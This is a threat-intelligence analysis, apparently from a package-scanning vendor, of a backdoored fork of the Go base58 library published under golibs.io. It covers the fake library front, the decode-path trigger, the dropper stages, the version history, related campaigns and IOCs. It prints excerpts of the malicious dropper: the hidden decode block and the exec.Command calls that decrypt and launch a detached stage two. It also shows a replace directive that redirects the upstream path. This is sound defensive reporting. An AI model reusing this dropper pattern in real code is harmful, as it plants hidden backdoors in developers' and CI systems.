Six Go libraries appeared under one GitHub organization in two days. Five are unmodified copies of projects that Go developers already trust: golibs.io/uuid, golibs.io/crypto, golibs.io/godotenv, golibs.io/base62, and golibs.io/base85. The sixth, golibs.io/base58, is a fork of github.com/mr-tron/base58 with an encrypted second stage wired into the decode function.

The organization is base-encode, registered two days before the first release. It holds seven repositories: the six packages and the site that markets them. The site presents the set as “Go libraries you can verify” and explains, correctly, that Go’s checksum database proves the code has not changed. The repositories carry commits dated to 2020, years before the organization existed.

The one armed package is a small base58 codec whose upstream form is imported by 1,038 Go modules. Its backdoor is not in an init function or a build hook. It is inside FastBase58DecodingAlphabet, guarded by one condition: the decoded string must be 30 characters or shorter. When that condition holds, the library copies a bundled archive to the temp directory, extracts a Go program, and starts it with the caller’s string as the decryption key. If the key is correct, the program decrypts a second Go project and launches it detached with stdout and stderr set to nil.

The first malicious version went up on 2026-12-03 at 12:01 UTC. A scan flagged it at 15:10 UTC.

TL;DR

  • A six-package front, built in 48 hours. base-encode published uuid, crypto, godotenv, base62, base85, and base58 behind golibs[.]io, a vanity-import site that markets the set as “Go libraries you can verify.” The five siblings carry upstream code and no dropper. Only base58 is armed.
  • The design is not new. The same delivery pattern appears in entiergo.org/merkletree-basic, tagged in August 2026, which uses the Slack and Arbitrum Sepolia command channel that public reporting attributes to the Graphalgo campaign.
  • Seven malicious versions, two module paths. github.com/base-encode/base58 v1.3.1 through v1.4.1 and golibs.io/base58 v1.5.0 and v1.5.1 carry the same backdoor. The module files are identical. Only the path prefix differs. The GitHub path imports at v1.3.2 through v1.4.1; v1.5.0 moves the module declaration to golibs.io/base58, so only the vanity path builds from then on.
  • The trigger is the public decode path. Decode, DecodeAlphabet, FastBase58Decoding, and FastBase58DecodingAlphabet all reach the same block. Any decode of a string of 30 characters or fewer runs it.
  • The caller’s input is the decryption key. The decoded base58 string is passed to a stage-2 tool as the password. A normal decode still returns the correct result. Every string except the threat actor’s chosen value fails silently.
  • Stage two ships encrypted. The bundled alphabet.a is a 96 KB ZIP that contains an encrypt/decrypt utility and an encrypted Go project. All stage-2 source files start with the marker GOENC1 and use AES-256-GCM with an Argon2id-derived key. The package does not contain the password.
  • The payload runs only where Go is installed. Stage one calls go run twice. The target is a developer workstation or CI runner with a Go toolchain, not a production service.
  • The fork is disguised as upstream. Version v1.3.1 declares module github.com/mr-tron/base58 in go.mod. The README still points at mr-tron. The repository history is backdated to 2020. Version v1.3.2 switches to github.com/base-encode/base58, and v1.5.0 switches again to golibs.io/base58.

The GoLibs front

The base-encode GitHub organization was created on 2026-12-02 at 13:34 UTC. The base58 repository followed one minute later. By 2026-12-04 the organization held seven repositories:

Repository Upstream it copies Versions published
base58 mr-tron/base58 v1.3.1 – v1.5.1
base62 a base62 codec v1.0.0, v1.1.0
base85 an RFC 1924 base85 codec v1.0.0
crypto golang.org/x/crypto v1.23.2
uuid google/uuid v1.2.0, v1.2.1
godotenv joho/godotenv v1.2.1
golibs.io the vanity-import site none

The site presents six packages under the tagline “Go libraries you can verify.” It explains module checksums, shows go mod verify, and invites the reader to download and read the source before installing. The page argues that the import path stays stable if the repository moves, and that Go’s checksum database proves the code has not changed. Both statements are true. Neither statement says anything about what the code does.

The vanity metadata maps each path to the same organization:

<meta name="go-import" content="golibs.io/base58 git https://github.com/base-encode/base58">

The history is not new. The repository contains commits dated 2020 and 2026-04 with the upstream authors’ names. The account that authored the recent commits, rigobertolengel48, was created on 2026-12-02 and has no other public activity. Commit dates are set by the committer, so a backdated history costs nothing and defeats the “new repository” heuristic.

The version ladder is part of the disguise. Upstream stopped at v1.2.0. The malicious fork starts at v1.3.1, which reads as the next release of the same project. The v1.3.1 go.mod names github.com/mr-tron/base58, not the new path. Later versions accept a single replace directive from the upstream path:

replace github.com/mr-tron/base58 => golibs.io/base58 v1.5.1

This analysis built a program with that directive. The build succeeded. The backdoor was then reachable through the upstream import path.

Why base58

Base58 is a small codec with a large dependency graph. The upstream github.com/mr-tron/base58 repository is imported by 1,038 modules and 1,524 packages. Those numbers come from pkg.go.dev and cover only public imports.

The code itself is one file. The root package is about 9 KB. There is no configuration, no network client, no plugin system, and no reason to read the filesystem. A reviewer who opens it sees arithmetic and lookup tables. That is the point. The malicious block is an anonymous function with every error swallowed. It looks like defensive input handling until it is read line by line.

Base58 also sits next to cryptocurrency and distributed-storage code. Bitcoin addresses, IPFS content identifiers, and several wallet formats use the encoding. A library that decodes those values is a natural dependency for tools that handle keys. The short-input condition fits the same context: many identifiers, prefixes, and test vectors are under 30 characters.

The Go ecosystem makes the fork strategy cheap. A module path is a string, and a vanity domain can point at any repository. A repository can keep another project’s history and publish versions above the upstream version. Nothing in the toolchain requires the module path to match an established namespace.

The trigger

The root package keeps the upstream API and adds one block to the decode path.

func FastBase58DecodingAlphabet(str string, alphabet *Alphabet) ([]byte, error) {
	if len(str) == 0 {
		return nil, fmt.Errorf("zero length string")
	}

	func() {
		if len(str) > 30 {
			return
		}
		_, thisFile, _, ok := runtime.Caller(0)
		if !ok {
			return
		}
		src := filepath.Join(filepath.Dir(thisFile), "alphabet.a")
		// copy alphabet.a to the temp directory, unzip it,
		// then run the decryptor with str as the password
	}()

	// normal base58 decoding continues
}

The block uses runtime.Caller(0) to find its own source file. It reads alphabet.a from the module cache, copies it to the temp directory, and extracts it. In the earlier versions it renames the archive in place. From v1.4.1 onward it uses the temp directory and returns early if the temp copy already exists.

This is also why the trigger is limited to short inputs. The stage-1 program must run for every candidate string, so the threat actor keeps the condition narrow. A wrong key fails inside the decryptor and the decode continues.

The module’s own tests contain short vectors such as 2g, aPEr, and Rt5zm. Any test run that decodes those values executes the block. A dependent project that calls Decode on a short identifier does the same.

Stage one: the dropper

alphabet.a is a ZIP archive with the store method. It holds 19 files in two directories:

Path Size Role
alphabet/utils/main.go 1,941 B command-line wrapper
alphabet/utils/project.go 1,770 B walks a project tree and transforms each file
alphabet/utils/crypto.go 2,488 B GOENC1 encrypt/decrypt
alphabet/alphabet/* ~69 KB encrypted stage-2 project

The utility supports two modes. enc encrypts a directory. dec decrypts one. The file format is a six-byte magic GOENC1, a version byte, a 16-byte salt, a 12-byte nonce, a four-byte ciphertext length, and the ciphertext. The key is derived with Argon2id at 64 MB and three iterations, then used with AES-256-GCM.

The dropper runs the utility like this:

cmd := exec.Command("go", "run", ".", projectDir, "dec", str)
cmd.Dir = utilsDir
cmd.Stdout = nil
cmd.Stderr = nil

If the decrypt succeeds, stage one deletes the utility and the encrypted tree, renames the decrypted directory into place, and starts the result:

runCmd := exec.Command("go", "run", ".", str)
runCmd.Dir = projectDir
runCmd.Stdout = nil
runCmd.Stderr = nil
runCmd.Start()

Start returns immediately. The child process is detached from the caller, and it inherits no visible output.

Stage two: the encrypted implant

All stage-2 files are encrypted, including go.mod and go.sum. The plaintext file names remain, so the project structure is visible even without the key:

File Size
main.go 16,655 B
services/main.go 16,945 B
helper/helper.go 20,182 B
helper/chain.go 10,232 B
helper/crypto.go 6,251 B
helper/detach_unix.go 1,016 B
helper/detach_windows.go 1,882 B

The names show a Go program with a service entry point, a helper library, a chain component, and separate detach code for Unix and Windows. The detach files indicate that the second stage is built for both operating systems. The chain.go name is consistent with the blockchain dead-drop pattern used by other Go implants, but the file is encrypted and this analysis did not recover it.

The password is the decoded base58 string. The package does not contain a candidate, and the tests, README, examples, and commit messages do not contain one either. A trial of more than 200 candidate strings from the repository did not decrypt any file. Without the threat actor’s chosen string, the encrypted project cannot be read from the package alone.

That design has a practical cost for the threat actor. Stage one always runs for a short decode, even when the key is wrong, so the payload is not stealthy against a sandbox that watches process creation. The gain is that the package stays useful. A normal decode returns the right bytes, the test suite passes, and the second stage only appears when the threat actor supplies the trigger value.

Version history

Every version published in the first 30 hours carries the backdoor. The table lists the publish time from the Go module proxy, the alphabet.a hash, and the dropper behavior.

Module version Published (UTC) alphabet.a SHA-256 Dropper location
v1.3.1 2026-12-03 12:01 7ba7e1bf…d5b26 module cache, in place
v1.3.2 2026-12-03 12:26 7ba7e1bf…d5b26 module cache, in place
v1.3.3 2026-12-03 13:05 c8235772…9e067 module cache, in place
v1.4.0 2026-12-03 15:54 461a7706…8154f module cache, in place
v1.4.1 2026-12-04 06:31 7599942c…50f67 temp directory, one-shot
v1.5.0 2026-12-04 09:48 7599942c…50f67 temp directory, one-shot
v1.5.1 2026-12-04 18:15 7599942c…50f67 temp directory, one-shot

The move from the module cache to the temp directory is a repair. Go marks the module cache read-only. The in-place versions rename and rewrite files under that path, which fails on a normal installation. Version 1.4.1 copies the archive to os.TempDir() first, and adds the Lstat guard so the extraction runs once per machine.

The payload hash changes three times, so the threat actor rebuilt the encrypted project as well as the dropper.

Two module paths, one payload

The GitHub repository and the vanity domain publish the same bytes. For v1.5.1, base58.go and alphabet.a are identical across github.com/base-encode/base58 and golibs.io/base58.

The module declaration moves with the version, and Go enforces the match. Each version imports under one path only:

Version module line Imports as
v1.3.1 github.com/mr-tron/base58 neither path
v1.3.2 – v1.4.1 github.com/base-encode/base58 GitHub path
v1.5.0 – v1.5.1 golibs.io/base58 vanity path

The mismatch is visible at the command line:

golibs.io/base58@v1.3.2: parsing go.mod:
	module declares its path as: github.com/base-encode/base58
	        but was required as: golibs.io/base58

Version 1.3.1 is a staging step. It carries the upstream module name and copies the upstream history, so it cannot be imported under either new path. From v1.3.2 the threat actor switches to its own GitHub identity, then to the vanity identity at v1.5.0.

The version tags are shared because the vanity path resolves to the GitHub repository. The two paths are not two campaigns. They are two names for one source tree. The duplicate matters because a blocklist entry for one path does not cover the other, and a search for the package name returns both. From v1.5.0 onward, the working delivery channel is golibs.io/base58.

What the scan caught

On 2026-12-03 at 15:10 UTC, a scan of github.com/base-encode/base58 v1.3.2 returned a malicious verdict. The verdict was HIDDEN_BINARY, severity high, and it came from Argus. The advisory names the behavior directly: a base58 codec has no legitimate reason to read its own source directory, unpack an archive into /tmp, or spawn the Go toolchain.

The verdict landed three hours and nine minutes after the first version went up. The threat actor published four more versions afterward.

Why it evades review

The package is built around assumptions that reviewers and scanners make about small libraries.

Assumption What the package does
A codec is a pure function. The decode path reads files, writes to /tmp, and starts processes.
Import-time review covers the risky code. The payload runs on a specific function call with a specific input length.
The module path identifies the publisher. A two-day-old organization and a vanity domain present as a curated library hub.
Repository age indicates trust. Commit dates are backdated to 2020 and reuse upstream authors’ names.
Higher versions are newer upstream releases. The fork publishes v1.3.1 above an upstream that stopped at v1.2.0.
A passing test suite means the code works as documented. The tests pass because the malicious branch fails silently on every non-trigger input.

Earlier sightings

The GoLibs front is not the first use of this delivery design. Earlier Go modules use the same core pattern: a working library, a caller-supplied trigger, an encrypted Go project, and a detached go run.

Date Package Trigger Second stage Command channel
2026-02 Graphalgo npm packages crafted package input encrypted JavaScript Slack and Ethereum
2026-08-11 gocommunity.io/orderedbtree crafted input Go RAT, shipped in plaintext Slack and Arbitrum Sepolia
2026-08-23 entiergo.org/merkletree-basic SHA-256 of caller input encrypted Go RAT Slack and Arbitrum Sepolia
2026-09-08 gogets.dev/btreex object field price == 99 encrypted Go RAT Slack and Arbitrum Sepolia
2026-12-03 golibs.io/base58 decode length of 30 or less encrypted Go project not recovered

entiergo.org/merkletree-basic is the closest match. Versions v0.2.0 and v0.3.0 add an undocumented content argument to the public tree constructor and pass it to a function named BenchmarkVerifyByLeafSize. The function compares the SHA-256 of the input with a hardcoded digest. On a match, it decrypts an embedded Go project, starts it with a detached go run, and pipes the trigger string to the child. The decrypted project posts an X25519 public key to a Slack channel with an embedded bot token. It then polls a second Slack channel and a contract on Arbitrum Sepolia (chain ID 421614) for commands.

That is the command design public reporting attributes to Graphalgo. OSV lists entiergo.org/merkletree-basic as MAL-2026-21125. Its stage-2 project layout matches base58’s: main.go, services/main.go, helper/helper.go, helper/detach_unix.go, and helper/detach_windows.go. base58 ships those files plus helper/chain.go and helper/crypto.go.

The outer entiergo.org/merkletree v0.5.1 and v0.5.2 import the malicious basic module. A clean parent library therefore pulls the backdoor transitively.

Three details separate the samples. base58 replaces the SHA-256 gate with a length gate and the direct digest key with Argon2id. It uses a different encrypted container, marked GOENC1 instead of CGBREO. Each operation also runs on different GitHub accounts, domains, and contracts.

The evidence establishes a shared design and a shared ecosystem playbook. It does not establish that one actor controls every package. The base58 second stage remains encrypted, so its command channel cannot be compared with the earlier samples. The same toolkit may be reused or sold, or separate actors may copy a public playbook.

Outlook

The pattern is portable. Any small Go library with a public decode, parse, or hash function can host the same block, and the encrypted stage does not depend on base58. The threat actor already published five clean packages under the same brand. The next step is likely to weaponize one of them, or to publish a new family under a different vanity domain with the same structure.

Two details are worth watching. First, the threat actor tested seven releases in 30 hours and fixed a real deployment bug in the process. That is an active development loop, not a one-off upload. Second, the trigger design requires the threat actor to deliver a specific string to the victim. A campaign that uses this library needs a second channel to place that string: a transaction, a configuration value, a test fixture, or a chat message. Defenders who see a short base58 value arrive from an unusual source should treat it as a potential key.

The Go module proxy keeps old versions. Removing the repository does not remove the module from proxy.golang.org or from the checksum database. Pinning and auditing are the only durable controls.

What defenders should do

The general principle: a codec that touches the filesystem or starts a process is not a codec. Review the behavior of the function, not the category of the package.

Specific checks:

  1. Search the module graph. Look for golibs.io/base58 and github.com/base-encode/base58 in go.mod, go.sum, and go list -m all. Include indirect dependencies.
  2. Check for the marker files. A module cache entry that contains alphabet.a, or a /tmp/alphabet directory, is a direct indicator. The archive is 96 KB and starts with the ZIP magic PK.
  3. Look for go run from library code. A package that calls exec.Command("go", "run", …) in a decode, parse, or hash path is not behaving as a library.
  4. Inspect the encrypted stage marker. Any file that starts with GOENC1 is part of the stage-2 format. The same magic appears in the dropper’s utility.
  5. Treat a host that ran a short decode as suspect. If the module was present and the threat actor’s trigger value was used, the second stage may have run detached with no output. Rotate credentials that the machine could read: source repositories, CI tokens, cloud keys, SSH keys, and wallet material.

IOCs

The module path and the site share the threat actor-controlled domain golibs[.]io. The import path is written unmodified below so it matches what go get accepts.

Modules

  • golibs.io/base58 v1.5.1 Pkgscan Result — SHA-256 62c0ff85dfbc03a5b345ea28e26dba53857c06b78c88f18ed90cb21f76e8dadc
  • golibs.io/base58 v1.5.0 Pkgscan Result — SHA-256 5a695ace0b649484425b7b4cb74906b295fc5500516010d58c93127e40e8d2a9
  • github.com/base-encode/base58 v1.4.1 Pkgscan Result — SHA-256 6ea28e3b32d14c5de30a5983b82f4a00d64be57050fb300755c1df5f185bb7ca
  • github.com/base-encode/base58 v1.4.0 Pkgscan Result — SHA-256 e97c827c92e7fa9428a8d02ccf80ed59ba5290977a0db58b07c2638cd4c25852
  • github.com/base-encode/base58 v1.3.3 Pkgscan Result — SHA-256 bd0f2636e00fe3e440ae08aa0fa7c3c8f8821ceb374d54c0eebaefe6bf9de216
  • github.com/base-encode/base58 v1.3.2 Pkgscan Result — SHA-256 4a37d47ab85f037c14eaa942496e217eeed51644cef864732819ac6653401343
  • github.com/base-encode/base58 v1.3.1 — SHA-256 ac58c00ea35c91ced5851836353c8d046f1e8793ac093750fed201c4898f26e3 (no scan at the time of writing)

Stage-2 archive

Version alphabet.a SHA-256
v1.3.1, v1.3.2 7ba7e1bf04d9dbf3bec687fb93defdb7c84716512bf6ed314d41e1ce668d5b26
v1.3.3 c823577280dadf99731298f83444c96094b3a1985e0f26b4ecdcf928cab9e067
v1.4.0 461a7706b375d96571ccef741da7da782b45e6c468588d48169acb2e3618154f
v1.4.1, v1.5.0, v1.5.1 7599942c2ce6bfa19f1d98a44de16c66133553929e5026ae2e139b82c7f50f67

Infrastructure

  • GitHub organization: base-encode (created 2026-12-02)
  • Repositories: base-encode/base58, base62, base85, crypto, uuid, godotenv, golibs.io
  • Vanity import host: golibs[.]io
  • Commit author: rigobertolengel48 (account created 2026-12-02, no other public activity)

Behavioral

  • runtime.Caller(0) inside FastBase58DecodingAlphabet
  • A file named alphabet.a beside base58.go (96,756 bytes in v1.4.1 and later)
  • GOENC1 file magic in stage-2 source files
  • exec.Command("go", "run", ".", …, "dec", <decoded string>)
  • Temporary paths $TMPDIR/alphabet, $TMPDIR/alphabet.a, $TMPDIR/alphabet.zip
  • Detached child from go run with Stdout and Stderr set to nil